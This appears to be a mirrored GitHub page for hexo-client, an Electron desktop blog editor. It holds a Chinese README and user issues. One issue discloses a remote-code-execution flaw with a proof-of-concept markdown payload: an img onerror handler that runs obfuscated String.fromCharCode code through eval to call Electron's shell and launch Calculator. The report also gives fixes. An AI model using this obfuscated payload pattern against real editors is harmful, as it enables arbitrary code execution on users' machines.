Giter VIP home page Giter VIP logo

hexo-client's Introduction

hexo-client

Hexo桌面客户端

QQ群

欢迎加入HexoClient用户群交流。

  • QQ群号:618213781
  • QQ群二维码

功能简介

  • 文章添加
  • 文章修改
  • 文章删除
  • 草稿功能
  • 多图床支持:aliyun-oss、七牛、sm.ms、Github
  • 文章搜索
  • 文章按分类、标签分组展示
  • 多语言支持
  • 支持Travis-CI自动部署

功能预览

下载地址

https://github.com/gaoyoubo/hexo-client/releases

Build Setup

# install dependencies
npm install

# dev
npm run electron:serve

# build electron application for production
npm run electron:build

image.png

hexo-client's People

Contributors

azero-ng avatar dependabot[bot] avatar evink avatar gaoyoubo avatar shaytsc avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

hexo-client's Issues

win10

版本: HexoClient-Setup-1.2.7.exe
系统:win10
node:v10.15.3
npm:6.4.1

image

点编辑报错
输入文章后保存啥都没有

请求添加英文文件名

目前软件使用上遇到的一个问题是,输入的标题自动生成的是中文文件名,发布的时候也是中文URL地址,希望是可以把标题和文件名区分开,标题用中文,文件名用英文,这样可能对于外文的搜索引擎更加友好。

建议新建文章输入标题处增加一个文件名的命名选项,默认如果不填写则以标题名命名

一处RCE(任意代码执行)漏洞

测试使用的markdown文件内容如下:

<img src="" onerror=eval(String.fromCharCode(99,111,110,115,116,32,123,115,104,101,108,108,125,32,61,32,114,101,113,117,105,114,101,40,39,101,108,101,99,116,114,111,110,39,41,59,115,104,101,108,108,46,111,112,101,110,69,120,116,101,114,110,97,108,40,39,102,105,108,101,58,47,47,47,65,112,112,108,105,99,97,116,105,111,110,115,47,67,97,108,99,117,108,97,116,111,114,46,97,112,112,39,41,59))>

只要打开这个文档便可以弹出计算器。
2019-02-24 7 33 37

你懂得,能弹计算器就意味着什么都可以做了。
修复建议:禁用编辑器JS;设置nodeIntegration

建议增加Front-matter的模板配置项

每个新增的文章都会添加固定的Front-matter只是值不一样,建议在配置页面增加配置项,可以在书写文章的时候选择已配置的Front-matter,直接填写值就行,这样增加便利性并且可以减少Front-matter的title值写错的风险

项目clone下来跑不起来

按照文档,npm run dev运行发现package.json里面的script并没有dev这个方法了。
可以更新一下README.md吗

windows版本保存修改问题。

您好!我是windows用户。我今天发现昨天对博客的修改丢失了,原因是我没有点击保存按钮就直接关闭了软件。我知道这是我的操作失误,但是通过快捷键CTRL+S保存更加符合我的习惯。所以我想,能不能加入使用CTRL+S保存的功能,或者在关闭软件时也对未保存的修改进行提示呢?如果能够自动保存那就更好了!
谢谢您的阅读。

建议在文档书写过程中对全局shortcut 改变

在mac使用过程中,command+H的全局快捷键是隐藏应用,但是调换到文档书写过程中,command+H变成了添加Header。
建议一:增加Preference改变shortcut
建议二:调整全局局部shortcut不和全局做冲突

Front matter 在文档编辑后覆盖的问题

某些主题下需要手动指定诸如 thumbnail: xxx.jpg comments:true 属性
而HexoClient中每当markdown编辑完之后都会将front matter重新覆盖(也就是说,上述的属性都被清空)

Mac版发布按钮点击以后报错 Cannot find module

mac版点击发布以后没有反应,控制台显示的错误是

Uncaught (in promise) Error: Cannot find module '/Applications/HexoClient.app/Contents/Resources/app.asar/responses/StatusSummary'
    at n (chunk-abd4edf0.2407debc.js:1)
    at a (chunk-abd4edf0.2407debc.js:1)
    at s.<anonymous> (chunk-abd4edf0.2407debc.js:1)
    at r (chunk-abd4edf0.2407debc.js:1)
    at chunk-abd4edf0.2407debc.js:1
    at process._tickCallback (internal/process/next_tick.js:68)

建议新增功能

作者是否可以做一个新增 “文章简介”的功能呀,即原本的hexo模板中的description,现在虽然可以手动修改,但是每次更新后又使用了正式内容头部,导致文章网站上的首页格式很不优雅

无法使用

mac系统下 使用了挺久一直没问题 但是今天打开后一片空白 无法修复

hexo

功能介绍里说支持 hexo g hexo d 。
但是 我没有找到发布之类的按钮。难道还要打开终端用命令?

关于载入问题

hexo-client 好像没办法将git上的文章载入到本地,或者选择自己需要发布文章,而不是所有的文章一起发布。不知道有什么方法可以解决吗?

无法加载界面,求助

  1. 我运行 npm run electron:serve 命令后后台报错:
    Failed to fetch extension, trying 0 more times
    Vue Devtools failed to install: Error: net::ERR_CONNECTION_RESET
    但是可以打开显示,慢一点。
  2. 我运行 npm run electron:build 命令进行打包,打开客户端报如下错误,不知道是我服务端的问题还是客户端的问题;

image

右侧的分类展示形式建议修改下

image.png

分类和标签的使用有点差别,标签是同级的,多个标签之间没有关联。而分类是父子级的关系,有点像面包屑导航的意思。(这个属于 Hexo 的特性,没办法改变。)

例如截图中的例子,代表着:

Git相关 分类下面的 Web综合 分类下面的 Vue相关 分类

而并非 3 个平级的分类,所以展示上建议和标签区分开,不然容易让人误解,比如可以换成树形结构的展示。

建议在配置中增加阿里OSS图床的水印规则名称选项

新功能建议,建议在配置中增加阿里OSS图床的水印规则名称选项,如下图中的阿里OSS里自定义水印规则名称
image

这样之后用户上传图片时可自动为其添加上处理图片的地址(相较于原地址多了一串基于水印规则的参数)。比如原地址为https://[bucket].oss-cn-shenzhen.aliyuncs.com/xxxx.jpg,带有水印的地址为参数为https://[bucket].oss-cn-shenzhen.aliyuncs.com/xxxx.jpg?x-oss-process=style/optimized

这样就可以实现自动帮用户展示带有水印的博客图片啦。

只是建议哈,此需求优先级不高,只是建议在之后的更新中可以考虑增加此功能。

建议支持阿里云OSS作为图床

现在的七牛作为图床,域名是临时的,容易后期无法查看图片,而配置自定义域名需要有备案号才行。OSS如果用香港地区的室友免费5G的使用。速度也还好,希望能支持

English version

Any chance for the English version of this app?
I can help with the process.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.